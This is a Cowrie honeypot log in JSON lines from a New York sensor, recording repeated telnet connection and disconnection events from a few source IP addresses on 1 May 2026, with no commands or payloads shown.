{"eventid":"cowrie.session.closed","duration":30.81096053123474,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:05.246621Z","src_ip":"62.72.47.216","session":"e7837e2c4f68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":36480,"dst_ip":"10.17.0.5","dst_port":23,"session":"acd3358bed61","protocol":"telnet","message":"New connection: 146.185.21.169:36480 (10.17.0.5:23) [session: acd3358bed61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:05.742691Z"}
{"eventid":"cowrie.session.closed","duration":30.413859605789185,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:06.282367Z","src_ip":"94.46.12.68","session":"10bce99fcbb7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":43474,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6b12753e909","protocol":"telnet","message":"New connection: 62.72.47.216:43474 (10.17.0.5:23) [session: f6b12753e909]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:06.693553Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":39168,"dst_ip":"10.17.0.5","dst_port":23,"session":"38a19a6ccb6a","protocol":"telnet","message":"New connection: 146.185.21.169:39168 (10.17.0.5:23) [session: 38a19a6ccb6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:07.923314Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":47316,"dst_ip":"10.17.0.5","dst_port":23,"session":"207fc1612435","protocol":"telnet","message":"New connection: 62.72.47.216:47316 (10.17.0.5:23) [session: 207fc1612435]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:08.668758Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":53002,"dst_ip":"10.17.0.5","dst_port":23,"session":"05617d544a52","protocol":"telnet","message":"New connection: 103.82.231.165:53002 (10.17.0.5:23) [session: 05617d544a52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:10.051093Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":37652,"dst_ip":"10.17.0.5","dst_port":23,"session":"998772b8fb5a","protocol":"telnet","message":"New connection: 146.185.21.169:37652 (10.17.0.5:23) [session: 998772b8fb5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:10.059169Z"}
{"eventid":"cowrie.session.closed","duration":0.013685464859008789,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:10.064593Z","src_ip":"103.82.231.165","session":"05617d544a52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":40018,"dst_ip":"10.17.0.5","dst_port":23,"session":"78fab05bbe85","protocol":"telnet","message":"New connection: 146.185.21.169:40018 (10.17.0.5:23) [session: 78fab05bbe85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:10.124130Z"}
{"eventid":"cowrie.session.closed","duration":30.59829354286194,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:11.412313Z","src_ip":"94.46.12.68","session":"254f38e15726","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":53582,"dst_ip":"10.17.0.5","dst_port":23,"session":"afbb44233df7","protocol":"telnet","message":"New connection: 62.72.47.216:53582 (10.17.0.5:23) [session: afbb44233df7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:11.693672Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":47034,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c229b22546e","protocol":"telnet","message":"New connection: 94.46.12.68:47034 (10.17.0.5:23) [session: 1c229b22546e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:12.338778Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":55690,"dst_ip":"10.17.0.5","dst_port":23,"session":"17dedc290420","protocol":"telnet","message":"New connection: 62.72.47.216:55690 (10.17.0.5:23) [session: 17dedc290420]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:12.658824Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":56184,"dst_ip":"10.17.0.5","dst_port":23,"session":"a33a08c31776","protocol":"telnet","message":"New connection: 62.72.47.216:56184 (10.17.0.5:23) [session: a33a08c31776]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:12.784296Z"}
{"eventid":"cowrie.session.closed","duration":30.664372205734253,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:13.148628Z","src_ip":"94.46.12.68","session":"8933a26c7c0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.426953315734863,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:13.186187Z","src_ip":"62.72.47.216","session":"a95b0bbac711","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.515920639038086,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:13.191764Z","src_ip":"62.72.47.216","session":"0a90f386cfd9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":57610,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bd66cb41188","protocol":"telnet","message":"New connection: 62.72.47.216:57610 (10.17.0.5:23) [session: 1bd66cb41188]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:13.565596Z"}
{"eventid":"cowrie.session.closed","duration":33.01577687263489,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:13.736497Z","src_ip":"146.185.21.169","session":"974f51deee93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":60088,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b12c172c806","protocol":"telnet","message":"New connection: 62.72.47.216:60088 (10.17.0.5:23) [session: 1b12c172c806]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:14.685135Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":42084,"dst_ip":"10.17.0.5","dst_port":23,"session":"6035418d42ad","protocol":"telnet","message":"New connection: 146.185.21.169:42084 (10.17.0.5:23) [session: 6035418d42ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:14.739479Z"}
{"eventid":"cowrie.session.closed","duration":33.38571047782898,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:14.905396Z","src_ip":"146.185.21.169","session":"ca81fcbec906","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":34090,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c94fa547a43","protocol":"telnet","message":"New connection: 62.72.47.216:34090 (10.17.0.5:23) [session: 3c94fa547a43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:15.708506Z"}
{"eventid":"cowrie.session.closed","duration":31.86902618408203,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:15.900507Z","src_ip":"146.185.21.169","session":"8633ca378eea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.05378818511963,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:16.111699Z","src_ip":"146.185.21.169","session":"3f3cf4fea215","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.405277013778687,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:17.207327Z","src_ip":"62.72.47.216","session":"5ccae3bf931b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.5904860496521,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:20.648688Z","src_ip":"146.185.21.169","session":"18049799ea0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":40772,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ff50c2c69cf","protocol":"telnet","message":"New connection: 103.115.172.252:40772 (10.17.0.5:23) [session: 9ff50c2c69cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:20.660490Z"}
{"eventid":"cowrie.session.closed","duration":0.08795619010925293,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:20.748361Z","src_ip":"103.115.172.252","session":"9ff50c2c69cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":37936,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7ca288da0e5","protocol":"telnet","message":"New connection: 94.46.12.68:37936 (10.17.0.5:23) [session: d7ca288da0e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:21.536407Z"}
{"eventid":"cowrie.session.closed","duration":30.646343231201172,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:22.197966Z","src_ip":"146.185.21.169","session":"d872cd435a78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.489327669143677,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:22.392022Z","src_ip":"146.185.21.169","session":"5efa915c9048","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":48762,"dst_ip":"10.17.0.5","dst_port":23,"session":"cef0ec02de8c","protocol":"telnet","message":"New connection: 62.72.47.216:48762 (10.17.0.5:23) [session: cef0ec02de8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:22.621154Z"}
{"eventid":"cowrie.session.closed","duration":30.42833113670349,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:24.112782Z","src_ip":"94.46.12.68","session":"0eedd8c6980b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":52768,"dst_ip":"10.17.0.5","dst_port":23,"session":"be0817d0ef78","protocol":"telnet","message":"New connection: 62.72.47.216:52768 (10.17.0.5:23) [session: be0817d0ef78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:24.644732Z"}
{"eventid":"cowrie.session.closed","duration":31.46953797340393,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:24.661296Z","src_ip":"146.185.21.169","session":"464dc9682159","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":38504,"dst_ip":"10.17.0.5","dst_port":23,"session":"01417d77c823","protocol":"telnet","message":"New connection: 146.185.21.169:38504 (10.17.0.5:23) [session: 01417d77c823]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:25.573574Z"}
{"eventid":"cowrie.session.closed","duration":30.955846548080444,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:27.572549Z","src_ip":"62.72.47.216","session":"8850e7a3cb73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":60854,"dst_ip":"10.17.0.5","dst_port":23,"session":"5468258e1b9f","protocol":"telnet","message":"New connection: 62.72.47.216:60854 (10.17.0.5:23) [session: 5468258e1b9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:28.260555Z"}
{"eventid":"cowrie.session.closed","duration":31.973588466644287,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:29.410064Z","src_ip":"146.185.21.169","session":"bdd30ecc6192","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":35712,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ce169609a4d","protocol":"telnet","message":"New connection: 62.72.47.216:35712 (10.17.0.5:23) [session: 5ce169609a4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:29.725432Z"}
{"eventid":"cowrie.session.closed","duration":30.95149540901184,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:30.660009Z","src_ip":"94.46.12.68","session":"ac110afa5f00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.420166969299316,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:31.015847Z","src_ip":"146.185.21.169","session":"9286bcc55ccf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7810115814209,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:31.245414Z","src_ip":"146.185.21.169","session":"5ad61ffcf214","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.415656328201294,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:31.329846Z","src_ip":"94.46.12.68","session":"8d1835e1e3c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.626095294952393,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:32.133659Z","src_ip":"146.185.21.169","session":"65a147b52afb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":47566,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdeef66de767","protocol":"telnet","message":"New connection: 146.185.21.169:47566 (10.17.0.5:23) [session: bdeef66de767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:32.898795Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":42388,"dst_ip":"10.17.0.5","dst_port":23,"session":"24da35706caa","protocol":"telnet","message":"New connection: 62.72.47.216:42388 (10.17.0.5:23) [session: 24da35706caa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:33.031481Z"}
{"eventid":"cowrie.session.closed","duration":30.401591062545776,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:33.285852Z","src_ip":"146.185.21.169","session":"ff4346b754ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":43548,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b77e1724fbc","protocol":"telnet","message":"New connection: 62.72.47.216:43548 (10.17.0.5:23) [session: 9b77e1724fbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:33.607830Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":34146,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ce1734e7568","protocol":"telnet","message":"New connection: 146.185.21.169:34146 (10.17.0.5:23) [session: 6ce1734e7568]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:33.848491Z"}
{"eventid":"cowrie.session.closed","duration":0.005150318145751953,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:33.853493Z","src_ip":"146.185.21.169","session":"6ce1734e7568","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":47912,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9a9bcf1195f","protocol":"telnet","message":"New connection: 62.72.47.216:47912 (10.17.0.5:23) [session: a9a9bcf1195f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:35.570650Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":50334,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6b17d672f41","protocol":"telnet","message":"New connection: 62.72.47.216:50334 (10.17.0.5:23) [session: b6b17d672f41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:36.618016Z"}
{"eventid":"cowrie.session.closed","duration":30.71546244621277,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:37.408899Z","src_ip":"62.72.47.216","session":"f6b12753e909","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":44330,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f690e4f5fc7","protocol":"telnet","message":"New connection: 146.185.21.169:44330 (10.17.0.5:23) [session: 7f690e4f5fc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:37.650733Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":53080,"dst_ip":"10.17.0.5","dst_port":23,"session":"3bb4e9dd3277","protocol":"telnet","message":"New connection: 62.72.47.216:53080 (10.17.0.5:23) [session: 3bb4e9dd3277]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:37.918282Z"}
{"eventid":"cowrie.session.closed","duration":30.121015071868896,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:38.044198Z","src_ip":"146.185.21.169","session":"38a19a6ccb6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":54724,"dst_ip":"10.17.0.5","dst_port":23,"session":"add333b885d7","protocol":"telnet","message":"New connection: 62.72.47.216:54724 (10.17.0.5:23) [session: add333b885d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:38.677171Z"}
{"eventid":"cowrie.session.closed","duration":39.71574950218201,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:39.091251Z","src_ip":"146.185.21.169","session":"67e90ffd00d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.572174549102783,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:39.240817Z","src_ip":"62.72.47.216","session":"207fc1612435","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":49002,"dst_ip":"10.17.0.5","dst_port":23,"session":"e12a4a151c69","protocol":"telnet","message":"New connection: 146.185.21.169:49002 (10.17.0.5:23) [session: e12a4a151c69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:39.687613Z"}
{"eventid":"cowrie.session.closed","duration":31.245442628860474,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:41.304522Z","src_ip":"146.185.21.169","session":"998772b8fb5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.10192656517029,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:41.697443Z","src_ip":"146.185.21.169","session":"70d20fc1f28c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.916800260543823,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:42.040757Z","src_ip":"146.185.21.169","session":"78fab05bbe85","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":48712,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbcc9fdd745c","protocol":"telnet","message":"New connection: 146.185.21.169:48712 (10.17.0.5:23) [session: cbcc9fdd745c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:42.122636Z"}
{"eventid":"cowrie.session.closed","duration":30.579435110092163,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:42.272983Z","src_ip":"62.72.47.216","session":"afbb44233df7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":51222,"dst_ip":"10.17.0.5","dst_port":23,"session":"36cc54d31979","protocol":"telnet","message":"New connection: 146.185.21.169:51222 (10.17.0.5:23) [session: 36cc54d31979]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:42.670864Z"}
{"eventid":"cowrie.session.closed","duration":30.471710205078125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:43.130336Z","src_ip":"62.72.47.216","session":"17dedc290420","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.362328052520752,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:43.146447Z","src_ip":"62.72.47.216","session":"a33a08c31776","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.859275102615356,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:43.197880Z","src_ip":"94.46.12.68","session":"1c229b22546e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.076252937316895,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:43.279413Z","src_ip":"146.185.21.169","session":"26e7d7df3e88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.67623233795166,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:44.241702Z","src_ip":"62.72.47.216","session":"1bd66cb41188","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":51688,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae70b0ddc1bb","protocol":"telnet","message":"New connection: 146.185.21.169:51688 (10.17.0.5:23) [session: ae70b0ddc1bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:44.285281Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":37284,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c34a3b9bc5c","protocol":"telnet","message":"New connection: 146.185.21.169:37284 (10.17.0.5:23) [session: 4c34a3b9bc5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:44.692099Z"}
{"eventid":"cowrie.session.closed","duration":0.005966663360595703,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:44.697967Z","src_ip":"146.185.21.169","session":"4c34a3b9bc5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.417946100234985,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:44.752685Z","src_ip":"146.185.21.169","session":"07261865c261","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":56450,"dst_ip":"10.17.0.5","dst_port":23,"session":"e91ef9189749","protocol":"telnet","message":"New connection: 146.185.21.169:56450 (10.17.0.5:23) [session: e91ef9189749]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:45.184536Z"}
{"eventid":"cowrie.session.closed","duration":30.600756645202637,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:45.285742Z","src_ip":"62.72.47.216","session":"1b12c172c806","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":57562,"dst_ip":"10.17.0.5","dst_port":23,"session":"47238492c96e","protocol":"telnet","message":"New connection: 146.185.21.169:57562 (10.17.0.5:23) [session: 47238492c96e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:45.643939Z"}
{"eventid":"cowrie.session.closed","duration":31.176364421844482,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:45.915698Z","src_ip":"146.185.21.169","session":"6035418d42ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51159954071045,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:35:46.219968Z","src_ip":"62.72.47.216","session":"3c94fa547a43","protocol":"telnet"}
